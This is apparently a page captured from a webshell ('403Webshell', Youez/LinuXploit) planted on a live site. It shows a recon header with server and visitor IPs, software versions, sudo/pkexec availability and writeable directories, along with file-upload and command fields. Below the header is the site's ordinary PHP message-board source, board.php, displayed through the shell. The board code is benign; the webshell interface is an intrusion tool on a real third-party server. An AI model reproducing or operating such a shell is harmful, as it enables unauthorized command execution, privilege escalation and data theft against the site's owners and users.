403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.217.73
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/mcifa.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/mcifa.com/public_html/board.php
<?php
/**
 * board.php - Classic message board view (replaces board.cfm)
 *
 * Auth check, thread listing with pagination, date jump, post form.
 * Uses boardsnip5.php for recursive thread tree rendering.
 */
require 'header.php';
requireLogin();

require_once __DIR__ . '/boardsnip5.php';

$db = getReadDb();
$threads = [];
$showquery = [];
$formDays = $_POST['days'] ?? null;

if ($formDays !== null && $formDays !== '') {
    // Date-based query: if today's date, redirect to default board
    $today = date('Y-m-d');
    if ($today === $formDays) {
        header('Location: board.php');
        exit;
    }

    // Query threads by date range
    $stmt = $db->prepare("SELECT DISTINCT threadid, dt, parentid FROM wb WHERE (dt BETWEEN ? AND DATE_ADD(?, INTERVAL 1 DAY)) AND (parentid = 0) ORDER BY threadid DESC");
    $stmt->execute([$formDays, $formDays]);
    $showquery = $stmt->fetchAll();
} else {
    // Default: recent threads with pagination
    $startthread = isset($_GET['startthread']) ? (int)$_GET['startthread'] : 99999999;

    $stmt = $db->prepare("SELECT DISTINCT threadid FROM wb WHERE threadid <= ? ORDER BY threadid DESC LIMIT 13");
    $stmt->execute([$startthread]);
    $showquery = $stmt->fetchAll();
}

// Build thread ID list from results (up to 25 rows)
$threadIds = [];
$count = 0;
foreach ($showquery as $row) {
    if ($count >= 25) break;
    $threadIds[] = (int)$row['threadid'];
    $count++;
}
$threadIds = array_unique($threadIds);

// Fetch all messages for those threads
$hitdbmc = [];
if (!empty($threadIds)) {
    $placeholders = implode(',', array_fill(0, count($threadIds), '?'));
    $stmt = $db->prepare("SELECT subject, id, threadid, dt, member, parentid, message, `lock`, replyid, fname, lname FROM wb WHERE threadid IN ($placeholders)");
    $stmt->execute($threadIds);
    $hitdbmc = $stmt->fetchAll();
}
?>

	<section id="content" class="sbr">
		<div class="menu-shadow"></div>
		<div class="container clearfix">
			<div class="page-header clearfix" style="margin-bottom: 20px;">
				<h1>Message Board <?php if ($formDays !== null) echo h($formDays); ?></h1>
				<strong><a href="board.php#post"><font color="131F6C">Post Message</a> | <a href="newboard.php"><font color="131F6C">Modern View</a> | <a href="boardsearch.php"><font color="131F6C">Search Archives</a></strong>

				<div class="line"></div>
			</div>
			<!--/ .page-header-->

			<section id="main" class="twelve columns">
				<article class="entry clearfix">
					<!--/ .entry-title-->

					<!--/ .preloader-->

					<!--/ .entry-meta-->

					<div class="entry-body">

<p>
<?php
// Get announcements from columntable (id=8734)
$stmt = $db->prepare("SELECT copy FROM columntable WHERE id = 8734");
$stmt->execute();
$announcement = $stmt->fetch();
if ($announcement) {
    echo $announcement['copy'];
}
?>
</font>
</center>
</font>

<?php if (!empty($hitdbmc)): ?>
<?php renderThreadTree($hitdbmc, 0); ?>
<?php else: ?>
<strong><font face="arial" size="-1">Sorry, no messages posted on this date. </font></strong>
<?php endif; ?>

<p><br>
<form action="board.php" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td valign="middle">
<font face="arial" size="-1">
<?php
$today = date('Y-m-d');
$startdate = '2000-10-01';
$days = (int)((strtotime($today) - strtotime($startdate)) / 86400);
?>
<strong>Jump to Date: </strong>
<select name="days" style="width:100px;">
<?php for ($z = $days; $z >= 1; $z--): ?>
<?php $y = date('Y-m-d', strtotime($startdate . ' + ' . $z . ' days')); ?>
<option><?php echo $y; ?></option>
<?php endfor; ?>
</select>
<input type="submit" name="Preview" value="Go">
</form>
<p>
</td>
<?php if ($formDays === null && count($showquery) >= 13): ?>
<td align="right" valign="top">
<font face="arial" size="-1">
<strong>
<a href="board.php?startthread=<?php echo (int)$showquery[12]['threadid']; ?>">Next Page &gt;&gt;&gt;</a>
</strong>
</td>
<?php endif; ?>
</tr></table>

<p>
<a name="post">
<form action="postmessage.php" method="post">
<br><table width="540" cellspacing="5" cellpadding="5">
	  <tr><td colspan="2"><strong><font face="Arial" size="+1">Post Message</font></strong></td>
	  </tr>
	  <tr><td>
	  <b><font size="-1" face="Arial">Name:</font></b>
	  </td><td>
	  <?php echo h($getUser['fname']) . ' ' . h($getUser['lname']); ?>
	  <input name="fname" value="<?php echo h($getUser['fname']); ?>" type="hidden">
	  <input name="lname" value="<?php echo h($getUser['lname']); ?>" type="hidden">
 </td></tr><tr><td>
	  <b><font size="-1" face="Arial">Member:</font></b>
	  </td><td>
	  <?php echo h($getUser['member']); ?> <input name="member" value="<?php echo h($getUser['member']); ?>" type="hidden">
	  </td>
	  </tr>
	  <tr>
	  <td>
	  <b><font size="-1" face="Arial">E-Mail:</font></b>
	  </td>
	  <td>
	  <?php echo h($getUser['email']); ?>
	  <input name="email" value="<?php echo h($getUser['email']); ?>" type="hidden">
	  </td>
	  </tr>
	  <tr>
	  <td>
	  <b><font size="-1" face="Arial"><b>Subject:</b></font>
	  </td>
	  <td>
	  <input name="Subject" size="50" maxlength="100" style="border: 1px;border-style: dashed;border-color:purple;">
	  <input type="hidden" name="Subject_required" value="You must enter a Subject!">
	  </td>
	  </tr>
	  <tr>
	  <td colspan="2">
	  <p>
	  <b><font size="-1" face="Arial">Message:</font></b>
      <textarea name="Message" rows="10" cols="65" wrap="virtual" style="border: 1px;border-style: dashed;border-color:purple;"></textarea>
	  </td>
	  </tr>
      <tr>
      <td>
      <b><font face="Arial" size="-1">Optional Link:</font></b>
      </td>
      <td>
      <input name="Link" size="50" style="border: 1px;border-style: dashed;border-color:purple;">
	  <input type="hidden" name="Link"><br>
      </td>
      </tr>
      <tr>
      <td>
      <b><font face="Arial" size="-1">Link Title:</font></b>
      </td>
      <td>
      <input name="LinkTitle" size="50" style="border: 1px;border-style: dashed;border-color:purple;">
	  <input type="hidden" name="LinkTitle"><br>
      </td>
      </tr>
      <tr>
      <td>
      <b><font face="Arial" size="-1">Optional Image:</font></b>
      </td>
      <td>
      <input name="Image" size="50" style="border: 1px;border-style: dashed;border-color:purple;">
	  <input type="hidden" name="Image"><br>
      </td>
      </tr>
	  <tr colspan="2">
      <td colspan="2">
      <b><font face="Arial" size="-1">Also send responses to my email address:</font></b>
      <input name="responses" type="checkbox" style="border: 1px;border-style: dashed;border-color:purple;">
	  <br>
</td></tr></table>
<center><b><input type="submit" name="Preview" value="Preview">&nbsp;<input type="submit" value="Post Message"></b></center>
</center></form>
</td></tr></table>



						<!--/ .about-author-->

					</div>
					<!--/ .entry-body-->

				</article>
				<!--/ .entry-->
			</section>				<!--/ #main-->


<?php require 'sidebar.php'; ?>
<?php require 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit